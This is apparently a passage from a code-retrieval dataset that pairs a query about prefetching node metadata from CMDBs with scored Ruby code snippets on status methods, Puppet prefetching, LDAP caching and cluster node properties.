"0.63300157", "text": "def update_status\n @status = !@status\n end", "title": "" }, { "docid": "e52287a45decc6919f3b4154710483d4", "score": "0.6322007", "text": "def status_check(status)\n\tif status == 'approved'\n\t\treturn 'active'\n\telse\n\t\treturn 'suspended'\n\tend\nend", "title": "" }, { "docid": "f692e389cb3314469e0110b5d9b23784", "score": "0.6314338", "text": "def set_status(status)\n \tif status == 0\n \t\treturn \"Uncompleted\"\n \telsif status == 1\n \t\treturn \"In Progress\"\n \telse \n \t\treturn \"Completed\"\n \tend\n end", "title": "" }, { "docid": "31d6465ac3cca1fae0c926f0d42fb28c", "score": "0.6302867", "text": "def status_text\n end", "title": "" }, { "docid": "a0636275a59e81b3fd03f498642c8a01", "score": "0.6291295", "text": "def status\n return :disabled unless @enabled\n case @status\n when nil then :defined\n else @status\n end\n end", "title": "" }, { "docid": "d480b3ba702f8be22bda0ba863adafbd", "score": "0.6276422", "text": "def check_status(status); end", "title": "" }, { "docid": "d480b3ba702f8be22bda0ba863adafbd", "score": "0.6276422", "text": "def check_status(status); end", "title": "" }, { "docid": "6a13ba32b84e4375d5f93aa6e7d81a88", "score": "0.6275731", "text": "def status\n raise NotImplementedError\n end", "title": "" }, { "docid": "a85eaee7a9a829250f4fd21fcaabddcb", "score": "0.62735283", "text": "def get_status\n @status\n end", "title": "" }, { "docid": "a85eaee7a9a829250f4fd21fcaabddcb", "score": "0.62735283", "text": "def get_status\n @status\n end", "title": "" }, { "docid": "b9767f60203f0d372d54afbfaa55089b", "score": "0.6269117", "text": "def update_status\n if self.status.nil?\n self.status = \"Ordered\"\n end\n end", "title": "" }, { "docid": "787b1758bf145210d10cf629f945eb11", "score": "0.62684816", "text": "def status\n case self.state\n when 0 \n 'missing'\n when 1 \n 'created'\n when 2 \n 'pending'\n when 3 \n 'unready'\n when 4 \n 'failed'\n when 5 \n 'ready'\n when 666 \n 'deleted'\n when 999\n 'inactive'\n else \n 'hold'\n end\n end", "title": "" }, { "docid": "f4d3aa6cfd5432f4384ca4b3633a8ced", "score": "0.6268269", "text": "def status\n if complete?\n \"PAID\"\n else\n \"PENDING\"\n end\n end", "title": "" }, { "docid": "7044b65ab863f1408f3f0597ad4c08f0", "score": "0.62577814", "text": "def res_status( status )\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "d47d19312b5d98790aa1c93a7d7e8800", "score": "0.62424713", "text": "def status\n self['_status']\n end", "title": "" }, { "docid": "d537d631e05733c402c6eb7763c0fe9f", "score": "0.62420577", "text": "def print_status\n if @status == \"incomplete\"\n \"Type: #{self.class.to_s} / Title: #{@title} / Description: #{@description}\"\n else\n \"Type: #{self.class.to_s} / Title: #{@title} / Description: #{@description} / Status: #{@status}\"\n end\n end", "title": "" }, { "docid": "7db19c46fc2ba468731c0d9ee0f921a6", "score": "0.623905", "text": "def status_string(*) end", "title": "" }, { "docid": "3b173f831ef8bd3ddf6a7a0156f280e6", "score": "0.62368786", "text": "def status\n @raw_status\n end", "title": "" }, { "docid": "3b173f831ef8bd3ddf6a7a0156f280e6", "score": "0.62368786", "text": "def status\n @raw_status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235678", "text": "def status\n @status\n end", "title": "" }, { "docid": "577044049aadba142da024728d77b581", "score": "0.6235555", "text": "def status\n @status\n end", "title": "" } ]
813714919ef2f78de1030a489b636ca1
Prefetch some metadata properties for a given list of nodes. Useful for performance reasons when clients know they will need to use a lot of properties on nodes. Keep a threadsafe memory cache of it. Parameters:: nodes (Array): Nodes to read metadata for properties (Symbol or Array): Metadata properties (or single one) to read
[ { "docid": "06523e7ca27e89426fdae8eb418aeaa9", "score": "0.707959", "text": "def prefetch_metadata_of(nodes, properties)\n (properties.is_a?(Symbol) ? [properties] : properties).each do |property|\n # Gather the list of nodes missing this property\n missing_nodes = nodes.select { |node| !@metadata.key?(node) || !@metadata[node].key?(property) }\n next if missing_nodes.empty?\n\n # Query the CMDBs having first the get_<property> method, then the ones having the get_others method till we have our property set for all missing nodes\n # Metadata being retrieved by the different CMDBs, per node\n # Hash< String, Object >\n updated_metadata = {}\n (\n (@cmdbs_per_property.key?(property) ? @cmdbs_per_property[property] : []).map { |cmdb| [cmdb, property] } +\n @cmdbs_others.map { |cmdb| [cmdb, :others] }\n ).each do |(cmdb, cmdb_property)|\n # If among the missing nodes some of them have some master CMDB declared for this property, filter them out unless we are dealing with their master CMDB.\n nodes_to_query = missing_nodes.select do |node|\n master_cmdb = cmdb_master_for(node, property)\n master_cmdb.nil? || master_cmdb == cmdb\n end\n next if nodes_to_query.empty?\n\n # Check first if this property depends on other ones for this cmdb\n if cmdb.respond_to?(:property_dependencies)\n property_deps = cmdb.property_dependencies\n prefetch_metadata_of nodes_to_query, property_deps[property] if property_deps.key?(property)\n end\n # Property values, per node name\n # Hash< String, Object >\n metadata_from_cmdb = cmdb.send(\"get_#{cmdb_property}\".to_sym, nodes_to_query, @metadata.slice(*nodes_to_query)).transform_values do |cmdb_result|\n cmdb_property == :others ? cmdb_result[property] : cmdb_result\n end.compact\n cmdb_log_header = \"[CMDB #{cmdb.class.name.split('::').last}.#{cmdb_property}] -\"\n log_debug \"#{cmdb_log_header} Query property #{property} for #{nodes_to_query.size} nodes (#{nodes_to_query[0..7].join(', ')}...) => Found metadata for #{metadata_from_cmdb.size} nodes.\"\n updated_metadata.merge!(metadata_from_cmdb) do |node, existing_value, new_value|\n raise \"#{cmdb_log_header} Returned a conflicting value for metadata #{property} of node #{node}: #{new_value} whereas the value was already set to #{existing_value}\" if !existing_value.nil? && new_value != existing_value\n\n new_value\n end\n end\n # Avoid conflicts in metadata while merging and make sure this update is thread-safe\n # As @metadata is only appending data and never deleting it, protecting the update only is enough.\n # At worst several threads will query several times the same CMDBs to update the same data several times.\n # If we also want to be thread-safe in this regard, we should protect the whole CMDB call with mutexes, at the granularity of the node + property bein read.\n @metadata_mutex.synchronize do\n missing_nodes.each do |node|\n @metadata[node] = {} unless @metadata.key?(node)\n # Here, explicitely store nil if nothing has been found for a node because we know there is no value to be fetched.\n # This way we won't query again all CMDBs thanks to the cache.\n @metadata[node][property] = updated_metadata[node]\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "fb0a3e0e330638a85e053d99b6cffaeb", "score": "0.5697628", "text": "def metadata_of(node, property = nil)\n if property.nil?\n @metadata[node] || {}\n else\n prefetch_metadata_of([node], property) unless @metadata.key?(node) && @metadata[node].key?(property)\n @metadata[node][property]\n end\n end", "title": "" }, { "docid": "776f52c313c2f93e9c00de9c71ad91bb", "score": "0.54589", "text": "def resolve_nodes(node_set)\n node_props = @nodes[node_set]\n node_props[:resolver].prepare\n node_props[:discovered] = node_props[:resolver].discover.uniq\n end", "title": "" }, { "docid": "6a6ef8134a5f369be2987e889b139471", "score": "0.52873844", "text": "def connectable_nodes_from(nodes)\n @nodes_handler.prefetch_metadata_of nodes, :host_ip\n nodes.select { |node| @nodes_handler.get_host_ip_of(node) }\n end", "title": "" }, { "docid": "27e8ff0a60a647cf72fd2cf15fe9f2f0", "score": "0.52237743", "text": "def [](*properties)\n # Lesson Learnt\n # ==============\n # Don't change what doesn't belong to you\n properties = properties.map(&:to_s)\n run_in_transaction(:[], *properties) do\n node_properties = props # Fetch all properties as this is more efficient than firing a HTTP request for every property\n result = []\n properties.each { |k| result << node_properties[k] }\n # If a single property was asked then return it's value else return an array of values in the correct order\n if properties.length == 1\n result.first\n else\n result\n end\n end\n rescue NoMethodError => e\n _raise_doesnt_exist_anymore_error(e)\n end", "title": "" }, { "docid": "d33e7284b2230db83ef8a231a6cc50e1", "score": "0.5199721", "text": "def prefetch\n raise Puppet::DevError, \"Somehow got told to prefetch with no resource set\" unless @resource\n @property_hash = self.stanza_to_properties(self.class.stanza_config[@resource[:name]])\n end", "title": "" }, { "docid": "8289f0a2f022e5d2dba49a48467a15ad", "score": "0.5164835", "text": "def node_properties\n collection = connection[node_properties_collection]\n result = {}\n collection.find.batch_size(999).each do |values|\n id = values.delete('_id')\n result[id] = values\n end\n result\n end", "title": "" }, { "docid": "9b5aa3eaf9947f408b025049a6057064", "score": "0.51189506", "text": "def prefetch\n prefetchers = {}\n @catalog.vertices.each do |resource|\n if provider = resource.provider and provider.class.respond_to?(:prefetch)\n prefetchers[provider.class] ||= {}\n prefetchers[provider.class][resource.name] = resource\n end\n end\n\n # Now call prefetch, passing in the resources so that the provider instances can be replaced.\n prefetchers.each do |provider, resources|\n Puppet.debug \"Prefetching %s resources for %s\" % [provider.name, provider.resource_type.name]\n begin\n provider.prefetch(resources)\n rescue => detail\n if Puppet[:trace]\n puts detail.backtrace\n end\n Puppet.err \"Could not prefetch %s provider '%s': %s\" % [provider.resource_type.name, provider.name, detail]\n end\n end\n end", "title": "" }, { "docid": "e1cdd1cbf0b851386cf30e48192a9d30", "score": "0.50705415", "text": "def load_node_properties(node, properties, ids_of_interest = :all)\n super\n\n properties[node.id][:title] = node.display_string\n properties[node.id][:component_id] = node.component_id if node.component_id\n\n set_node_level(node, properties[node.id])\n set_node_instances(node, properties[node.id]) #if ids_of_interest != :all\n end", "title": "" }, { "docid": "d4d2255f19aeb5c379fd758e3b0a0c77", "score": "0.5068213", "text": "def prefetch(resources)\n objects = instances\n resources.keys.each do |name|\n provider = objects.find { |object| object.name == name }\n resources[name].provider = provider if provider\n end\n end", "title": "" }, { "docid": "b217e2cb7822c56ffe685af84e733408", "score": "0.50450915", "text": "def prefetch reqs\n names = reqs.map { |req| req.name }\n\n @repositories.each_key do |name|\n next unless names.include? name\n\n load_spec name\n end\n end", "title": "" }, { "docid": "a55ece2818dd8f6af188178b63880789", "score": "0.4963998", "text": "def each_filtered_node_uid(cluster_list, node_list)\n self.each_sort_by_node_uid { |key, properties|\n # As an example, key can be equal to 'grimoire-1' for default resources or\n # ['grimoire-1', 1] for disk resources (disk n°1 of grimoire-1)\n node_uid, = key\n cluster_uid = node_uid.split(/-/).first\n\n if (! cluster_list || cluster_list.include?(cluster_uid)) &&\n (! node_list || node_list.include?(node_uid))\n yield key, properties\n end\n }\n end", "title": "" }, { "docid": "18a19da7a33c1ee1106b617b61861f30", "score": "0.49305424", "text": "def prefetch(gems)\n end", "title": "" }, { "docid": "6310d82438c444fe8ab09bb7360ae6f5", "score": "0.48940438", "text": "def prefetch(resources = {})\n resources.each do |name, resource|\n doc = resource.document_path\n fetch_document( doc )\n\n fetch_instances( doc )\n\n match_resource_with_provider( resource, doc )\n end\n end", "title": "" }, { "docid": "66672aff80e219e299f9a267150127a6", "score": "0.48513934", "text": "def nodes=(nodes)\n @nodes = nodes\n reset_memoized_methods\n @nodes\n end", "title": "" }, { "docid": "0aa65efe6d10b21c030aa6ef17e63251", "score": "0.48423216", "text": "def ff_resolve_nodes(nodes, refresh = false)\n return nodes if nodes.blank?\n is_plural = nodes.is_a?(Array)\n nodes = [nodes] unless is_plural\n\n res_entities = {}\n refind_ids = []\n nodes.each do |item|\n is_node = item.is_a?(ActiveRecord::Base)\n if is_node\n the_id = item.id\n else\n the_id = item.to_i\n end\n\n if !is_node || refresh\n refind_ids << the_id\n res_entities[the_id] = nil\n else\n res_entities[the_id] = item\n end\n end\n\n ##\n # get node orderd by id\n #\n if refind_ids.present?\n aim_query = ff_usual_conditions_scope(nil)\n .where(id: refind_ids)\n .ff_required_columns_scope()\n\n aim_query.all.each do |node|\n res_entities[node.id] = node\n end\n end\n\n # return value\n is_plural ? res_entities : res_entities.values.first\n end", "title": "" }, { "docid": "0426e3ff18a5cb42699e7ef805890bd1", "score": "0.4841645", "text": "def merge_node_properties!(nodes, node_name)\n # find out if the node is already in the array\n found = nodes.index{|n| n[\"name\"] == node_name }\n if found.nil?\n nodes.push(node_export(node_name))\n else\n nodes[found] = node_export(node_name)\n end\n end", "title": "" }, { "docid": "3a93c9224b527f01a66b900b85df88fa", "score": "0.483543", "text": "def prefetch_fields()\r\n prefetch_projects()\r\n prefetch_areas()\r\n prefetch_fixfors()\r\n prefetch_priorities()\r\n prefetch_users()\r\n prefetch_statuses()\r\n end", "title": "" }, { "docid": "c39259f1b4879ca7a66d17319829d493", "score": "0.4810859", "text": "def get_node_properties(id, *properties)\n @node_properties.get(id, *properties.flatten)\n end", "title": "" }, { "docid": "064124539713c5f255a55d546e633996", "score": "0.47984424", "text": "def ldap_prefetch(ldap_class, additional_attrs = [])\n ldap_cache_expiration = begin\n CONFIG[:caching][:expirations][:ldap]\n rescue\n 900\n end\n\n start_time = Time.now\n results = ldap_class.all\n puts \"[LDAP Cache Worker @ #{Time.now.strftime(\"%d/%b/%Y:%H:%M:%S %z\")}]: \" +\n \"Fetching lazy JSON for #{ldap_class.name.to_s}...\" if debugging?\n cache_fetch(\"all_#{ldap_class.name.to_s.downcase}_json\", expires: ldap_cache_expiration) do\n ldap_class.all.serialize(only: :id)\n end\n puts \"[LDAP Cache Worker @ #{Time.now.strftime(\"%d/%b/%Y:%H:%M:%S %z\")}]: \" +\n \"Fetching full JSON for #{ldap_class.name.to_s}...\" if debugging?\n cache_fetch(\"full_all_#{ldap_class.name.to_s.downcase}_json\", expires: ldap_cache_expiration) do\n ldap_class.all.serialize(include: additional_attrs)\n end\n end_time = Time.now\n time_taken = end_time - start_time\n puts \"[LDAP Cache Worker @ #{Time.now.strftime(\"%d/%b/%Y:%H:%M:%S %z\")}]: \" +\n \"Cached #{results.size} LDAP #{ldap_class} objects in #{time_taken} seconds\" if debugging?\nend", "title": "" }, { "docid": "cdefab1a82fbf16a1b86772226284dd7", "score": "0.47563574", "text": "def get_node_properties(cluster_uid, cluster, node_uid, node)\n h = {} # ouput\n\n if node['status'] == 'retired'\n h['state'] = 'Dead'\n return h if node.size == 1 # for dead nodes, additional information is most likely missing from the ref-repository.\n end\n\n main_network_adapter = node['network_adapters'].find{|k, na| /^eth[0-9]*$/.match(k) && na['enabled'] && na['mounted'] && !na['management'] }\n raise MissingProperty, \"Node #{node_uid} does not have a main network_adapter (ie. an ethernet interface with enabled=true && mounted==true && management==false)\" unless main_network_adapter\n\n # h['host'] = main_network_adapter['network_address']\n #TODO raise MissingProperty, \"Node #{node_uid} has no network_address\" unless h['host']\n\n h['ip'] = main_network_adapter[1]['ip']\n raise MissingProperty, \"Node #{node_uid} has no IP\" unless h['ip']\n h['cluster'] = cluster_uid\n h['nodemodel'] = cluster['model']\n h['switch'] = main_network_adapter[1]['switch']\n h['besteffort'] = node['supported_job_types']['besteffort']\n h['deploy'] = node['supported_job_types']['deploy']\n h['ip_virtual'] = node['supported_job_types']['virtual'] == 'ivt'\n h['virtual'] = node['supported_job_types']['virtual']\n h['cpuarch'] = node['architecture']['platform_type']\n h['cpucore'] = node['architecture']['nb_cores']/node['architecture']['nb_procs']\n h['cputype'] = [node['processor']['model'], node['processor']['version']].join(' ')\n h['cpufreq'] = node['processor']['clock_speed']/1_000_000_000.0\n h['disktype'] = (node['storage_devices'].first[1] || {})['interface']\n\n # ETH\n ni_mountable = node['network_adapters'].select{|k, na| /^eth[0-9]*$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n \n h['eth_count'] = ni_mountable.length\n h['eth_rate'] = ni_fastest['rate'] / 1_000_000_000\n \n puts \"#{node_uid}: Warning - no rate info for the eth interface\" if h['eth_count'] > 0 && h['eth_rate'] == 0\n\n # INFINIBAND\n ni_mountable = node['network_adapters'].select{|k, na| /^ib[0-9]*(\\.[0-9]*)?$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n ib_map = {0 => 'NO', 10 => 'SDR', 20 => 'DDR', 40 => 'QDR', 56 => 'FDR'}\n\n h['ib_count'] = ni_mountable.length\n h['ib_rate'] = ni_mountable.length > 0 ? ni_fastest['rate'] / 1_000_000_000 : 0\n h['ib'] = ib_map[h['ib_rate']]\n\n puts \"#{node_uid}: Warning - no rate info for the ib interface\" if h['ib_count'] > 0 && h['ib_rate'] == 0\n\n # MYRINET\n ni_mountable = node['network_adapters'].select{|k, na| /^myri[0-9]*$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n myri_map = {0 => 'NO', 2 => 'Myrinet-2000', 10 => 'Myri-10G'}\n\n h['myri_count'] = ni_mountable.length\n h['myri_rate'] = ni_mountable.length > 0 ? ni_fastest['rate'] / 1_000_000_000 : 0\n h['myri'] = myri_map[h['myri_rate']]\n\n puts \"#{node_uid}: Warning - no rate info for the myri interface\" if h['myri_count'] > 0 && h['myri_rate'] == 0\n\n #\n h['memcore'] = node['main_memory']['ram_size']/node['architecture']['nb_cores']/MiB\n h['memcpu'] = node['main_memory']['ram_size']/node['architecture']['nb_procs']/MiB\n h['memnode'] = node['main_memory']['ram_size']/MiB\n\n if node.key?('gpu') && node['gpu']['gpu'] == true\n h['gpu'] = node['gpu']['gpu_model']\n h['gpu_count'] = node['gpu']['gpu_count']\n else\n h['gpu'] = false\n h['gpu_count'] = 0\n end\n\n node['monitoring'] ||= {}\n h['wattmeter'] = case node['monitoring']['wattmeter'] when true; true; when false; false when nil; false; else node['monitoring']['wattmeter'].upcase end\n\n # h['rconsole'] = node['monitoring']['rconsole']\n\n h['cluster_priority'] = (cluster['priority'] || Time.parse(cluster['created_at'].to_s).strftime('%Y%m')).to_i\n \n h['production'] = false # default\n h['production'] = node['supported_job_types']['queues'].include?('production') if node['supported_job_types'] && node['supported_job_types'].has_key?('queues')\n\n h['max_walltime'] = 0 # default\n h['max_walltime'] = node['supported_job_types']['max_walltime'] if node['supported_job_types'] && node['supported_job_types'].has_key?('max_walltime')\n\n h['maintenance'] = false # default\n h['maintenance'] = node['supported_job_types']['queues'].include?('testing') if node['supported_job_types'] && node['supported_job_types'].has_key?('queues')\n \n # convert booleans to YES/NO string\n h.each {|k,v|\n if v == true\n h[k] = 'YES'\n elsif v == false\n h[k] = 'NO'\n elsif v.is_a? Float\n h[k] = \"#{v}\"\n end\n }\n\n return h\nend", "title": "" }, { "docid": "8cb170c73cbabba4b4042232eab00642", "score": "0.47440818", "text": "def prefetch(resources = {})\n\n # generate hash of {provider_name => provider}\n providers = instances.inject({}) do |hash, instance|\n hash[instance.name] = instance\n hash\n end\n\n # For each prefetched resource, try to match it to a provider\n resources.each_pair do |resource_name, resource|\n if provider = providers[resource_name]\n resource.provider = provider\n end\n end\n end", "title": "" }, { "docid": "769afa7d2749f9fbedafb1361b1aaedc", "score": "0.4726451", "text": "def update_node_properties\n logger.info \"update_node_properties started\"\n tsb = Time.now\n @source_node_properties = source.node_properties\n destination.node_properties_update(source_node_properties)\n tse = Time.now\n logger.info \"update_node_properties got #{source_node_properties.size} nodes \" \\\n \"in #{tse - tsb}\"\n destination.meta_node_properties_update(tsb, tse)\n end", "title": "" }, { "docid": "b98eef68682e5f7a488c9778eb779ae2", "score": "0.47180837", "text": "def lazy_load(property_names)\n reload_attributes(properties.in_context(property_names) - loaded_properties)\n end", "title": "" }, { "docid": "1716793844416e1762793a0453f4a068", "score": "0.46879804", "text": "def properties_for(node)\n node.xpath('./property').map do |prop|\n {\n :visibility => prop.attribute('visibility').value,\n :static => prop.attribute('static').value,\n :line => prop.attribute('line').value,\n :name => name_for(prop),\n :doc => docblock_for(prop)\n }\n end\n end", "title": "" }, { "docid": "a711a0f7d31bc2d34e905d65005d1667", "score": "0.4687755", "text": "def prefetch\n raise Puppet::DevError, \"Somehow got told to prefetch with no resource set\" unless @resource\n self.class.prefetch(@resource[:name] => @resource)\n end", "title": "" }, { "docid": "c4d7530bb9c411df8f83aa7e47a8dc73", "score": "0.46803164", "text": "def read_node_properties(opts = {})\n data, _status_code, _headers = read_node_properties_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "f1d32b2003c19e0f06697031156f3a4d", "score": "0.4671563", "text": "def single_node_facts(node, facts)\n fields = Hash[facts.collect { |fact| [fact.to_sym, 1] }]\n collection = connection[nodes_collection]\n result = collection.find(_id: node).limit(1).batch_size(1).projection(fields).to_a.first\n result.delete(\"_id\") if result\n result\n end", "title": "" }, { "docid": "b2245986ceb8df37d72eb204492c6ff7", "score": "0.46082082", "text": "def prefetch_results(prefetchs, results, objects, all_objects=objects.map(&:results).flatten)\n return unless prefetchs && !prefetchs.empty?\n results.to_a.product(prefetchs).each do |result, prefetch|\n hash = result.instance_variable_get(:@prefetch) || {}\n result.instance_variable_set :@prefetch, hash if hash.empty?\n hash[prefetch] = all_objects.select{ |object| object.class.name.underscore == prefetch.to_s && object.send(\"#{name.underscore}_id\") == result.id }\n end\n end", "title": "" }, { "docid": "f40b572ebf480e57a0282e92d5e25e38", "score": "0.4602509", "text": "def elements_not_ready(nodes, pre_cached_nodes = {})\n # Check to see if we should delay our commit until nodes are ready.\n delay = []\n nodes.each do |n|\n node = NodeObject.find_node_by_name(n)\n next if node.nil?\n \n pre_cached_nodes[n] = node\n delay << n if node.crowbar['state'] != \"ready\" and !delay.include?(n)\n end\n [ delay, pre_cached_nodes ]\n end", "title": "" }, { "docid": "2478952d1ea733ca11a9ee42b98b9d43", "score": "0.45797828", "text": "def perform\n references = synchronisation.new_context do\n with_cache('references') { importer.fetch_references }\n end\n\n unless references.success?\n message = 'Failed to perform `#fetch_references`'\n announce_error(message, references)\n return\n end\n\n mapper = Kigo::Mappers::Property.new(references.value, resolver: mapper_resolver)\n result = with_cache('list') { importer.fetch_properties }\n if result.success?\n properties = host_properties(result.value)\n\n if properties.empty? || !host_active?(properties.collect { |p| p['PROP_ID'] })\n synchronisation.finish!\n return\n end\n\n properties.each do |property|\n id = property['PROP_ID']\n data_result = synchronisation.new_context(id) { importer.fetch_data(id) }\n\n unless data_result.success?\n announce_error('Failed to perform the `#fetch_data` operation', data_result)\n if data_result.error.code == :http_status_409\n synchronisation.mark_as_processed(id)\n end\n next\n end\n\n next unless valid_payload?(data_result.value)\n\n synchronisation.start(id) do\n price_result = importer.fetch_prices(id)\n\n next price_result unless price_result.success?\n\n mapper.prepare(data_result.value, price_result.value['PRICING'])\n end\n end\n synchronisation.finish!\n else\n message = \"Failed to perform the `#fetch_properties` operation\"\n announce_error(message, result)\n end\n end", "title": "" }, { "docid": "b1ba3ecb8d25b7a34b2bd38165b0f99c", "score": "0.45763287", "text": "def nodes()\n STATSD.time('optica.store.get_nodes') do\n return load_instances_from_zk unless @cache_enabled\n @cache_results.clone\n end\n end", "title": "" }, { "docid": "f4eed2e8bf1a4b8856c64b4979e5e98e", "score": "0.4563497", "text": "def initialize(connection, nodes = :nodes, node_properties = :node_properties, meta = :meta)\n @connection = connection\n @nodes_collection = nodes\n @node_properties_collection = node_properties\n @meta_collection = meta\n end", "title": "" }, { "docid": "33e81ff65c6dac7656129a51a4629c68", "score": "0.45598856", "text": "def fetch_product_nodes(file_path)\n @nodes = CSVFeedParser.fetch_nodes(file_path)\n end", "title": "" }, { "docid": "c5400326e3340a61845dfaab49262c0b", "score": "0.45338866", "text": "def lookup_metadata(items, extended: false, **)\n @request = pre_flight(items)\n @start_time = timestamp\n result_data = fetch(@request)\n @end_time = timestamp\n @result = post_flight(result_data, extended: extended)\n end", "title": "" }, { "docid": "49aee7219d8196399aac3e791d21dd20", "score": "0.45316762", "text": "def pick(*keys)\n keys.map(&:to_s).inject(Config::Object.new(@manager,@node)) do |hsh, key|\n value = self.get(key)\n if !value.nil?\n hsh[key.gsub('.','_')] = value\n end\n hsh\n end\n end", "title": "" }, { "docid": "2ac706f37b514b35e437674229db2e43", "score": "0.4525367", "text": "def fetch_objects(lookup = :parallel)\n items = valid_parse_objects\n if lookup == :parallel\n items.threaded_each { |o| o.fetch }\n else\n items.each { |e| e.fetch }\n end\n #self.replace items\n self\n end", "title": "" }, { "docid": "d911c28d3def0fd46f7f0839a4e20ba7", "score": "0.45003155", "text": "def optimized_node_dependencies(node)\n deps = Set.new\n dependency_mapping(node).each do |dep, nodes|\n deps << nodes.sort_by { |n| n.weight }.first\n end\n deps.to_a\n end", "title": "" }, { "docid": "2df492961f21ba3ef693d67b8e20173f", "score": "0.44924724", "text": "def cache_children(*nodes) #:nodoc:\n @cached_children ||= []\n children.target = @cached_children.push(*nodes)\n end", "title": "" }, { "docid": "06c8d8692e0a63f294010e59936be296", "score": "0.44820344", "text": "def metadata(properties)\n #log_debug \"Add metadata: #{properties.inspect}\"\n @metadata.merge!(properties)\n end", "title": "" }, { "docid": "3f190822b0cc296c7cd17a37f0b82220", "score": "0.44426635", "text": "def prefetch_associations(includes, records); end", "title": "" }, { "docid": "3f190822b0cc296c7cd17a37f0b82220", "score": "0.44426635", "text": "def prefetch_associations(includes, records); end", "title": "" }, { "docid": "78da542d12316c7a79e4b6bac57d14ac", "score": "0.4440592", "text": "def setup_node_cache\n Puppet::Node.indirection.cache_class = Puppet[:node_cache_terminus]\n end", "title": "" }, { "docid": "78da542d12316c7a79e4b6bac57d14ac", "score": "0.4440592", "text": "def setup_node_cache\n Puppet::Node.indirection.cache_class = Puppet[:node_cache_terminus]\n end", "title": "" }, { "docid": "f4364afc973e55e157af65060fabcf2c", "score": "0.4440325", "text": "def fetch_nodes\n data = @zk.get(redis_nodes_path, :watch => true).first\n nodes = symbolize_keys(decode(data))\n logger.debug(\"Fetched nodes: #{nodes.inspect}\")\n\n nodes\n rescue Zookeeper::Exceptions::InheritedConnectionError, ZK::Exceptions::InterruptedSession => ex\n logger.debug { \"Caught #{ex.class} '#{ex.message}' - reopening ZK client\" }\n @zk.reopen\n retry\n rescue *ZK_ERRORS => ex\n logger.warn { \"Caught #{ex.class} '#{ex.message}' - retrying\" }\n sleep(RETRY_WAIT_TIME)\n retry\n end", "title": "" }, { "docid": "3410ec84c2d87bb47c580b417c86b081", "score": "0.44242916", "text": "def load_metadata\n if self.class.metadata_schema && !@metadata_loaded\n if @metadata_loader\n # Load the metadata externally\n @metadata_loader.call\n @metadata_loader = nil\n else\n # Load the metadata just for this single resource\n response = api('request',\n :uri => metadata_uri,\n :response_schema => self.class.metadata_schema\n )\n self.metadata = response['result']\n end\n end\n end", "title": "" }, { "docid": "f2cba0dec5c3b265024e319b2490e43f", "score": "0.44225067", "text": "def limit_nodes(nodes)\n return if self[nodes].empty?\n\n if limit = properties(nodes)[\"limit\"]\n Log.debug(\"Limiting node set %s to %d nodes from %d\" % [nodes, limit, @nodes[nodes][:discovered].size])\n @nodes[nodes][:discovered] = @nodes[nodes][:discovered][0..(limit - 1)]\n end\n end", "title": "" }, { "docid": "66673002686fe47dec0e836a4d5dff47", "score": "0.44157788", "text": "def prefetch_zfs\n [[], []]\n end", "title": "" }, { "docid": "dca97b3e9b70cde3f949acdffc1ab6d8", "score": "0.4410171", "text": "def get_node_profiles(certname)\n role = get_role_for(certname)\n profiles = get_role_profiles(role)\n\n if (default_roles).include?(role)\n profiles.reject! do |r|\n case r\n when \"puppet_enterprise::profile::database\" then has_external_db?(certname)\n when \"puppet_enterprise::profile::certificate_authority\" then has_external_ca?(certname)\n else false\n end\n end\n end\n\n if profiles.include?('puppet_enterprise::profile::primary_master')\n profiles.concat(get_agent_profiles)\n end\n\n profiles\n end", "title": "" }, { "docid": "24b775af4931f6daeca59a755c64387f", "score": "0.4407262", "text": "def element_nodes(roles = self.class.all, nodes = Node.all)\n assigned_nodes = []\n\n # Get all nodes from proposal roles mentioning this one\n proposal_roles(roles).each do |prop|\n prop.elements[self.name].each do |node_name|\n # Resolve clusters. We do not use the Pacemaker helper as that means\n # another call to Chef. Obvious FIXME is to patch that method to accept\n # cache param and fallback to proposal look up.\n if ServiceObject.is_cluster?(node_name) || ServiceObject.is_remotes?(node_name)\n cluster = roles.find { |r| r.name == \"pacemaker-config-#{ServiceObject.cluster_name(node_name)}\" }\n if ServiceObject.is_remotes?(node_name)\n include_roles = [\"pacemaker-remote\"]\n exclude_roles = nil\n else\n include_roles = nil\n exclude_roles = [\"pacemaker-remote\"]\n end\n cluster_roles_nodes = cluster.proposal_nodes(nodes, include_roles, exclude_roles)\n\n obj = OpenStruct.new(\n cluster: true,\n nodes: cluster_roles_nodes.map { |role, nodes| nodes }.flatten.uniq,\n node: nil,\n name: ServiceObject.cluster_name(node_name)\n )\n else\n node = nodes.find { |n| n.name == node_name }\n obj = !node ? nil : OpenStruct.new(\n cluster: false,\n nodes: [node],\n node: node,\n name: node.name\n )\n end\n assigned_nodes.push(obj) if obj\n end\n end\n assigned_nodes\n end", "title": "" }, { "docid": "3f7a4a7686c16eeb79159d56e3fb12df", "score": "0.4401045", "text": "def compute_metadata\n metadata_sha1,metadata = @source.lock(:metadata) do |s|\n [s.get_value(:metadata_sha1),s.get_value(:metadata)]\n end\n return if @client.get_value(:metadata_sha1) == metadata_sha1\n @client.put_value(:metadata_sha1,metadata_sha1)\n @client.put_value(:metadata_page,metadata)\n metadata\n end", "title": "" }, { "docid": "c434ac534627042c28ece5075ae84e26", "score": "0.439226", "text": "def load_nodes! fixturer_opts = nil\n nodes.each_value do |node|\n node.load! fixturer_opts\n end\n end", "title": "" }, { "docid": "94b00d4b2d6145d798051887d2223d94", "score": "0.439051", "text": "def 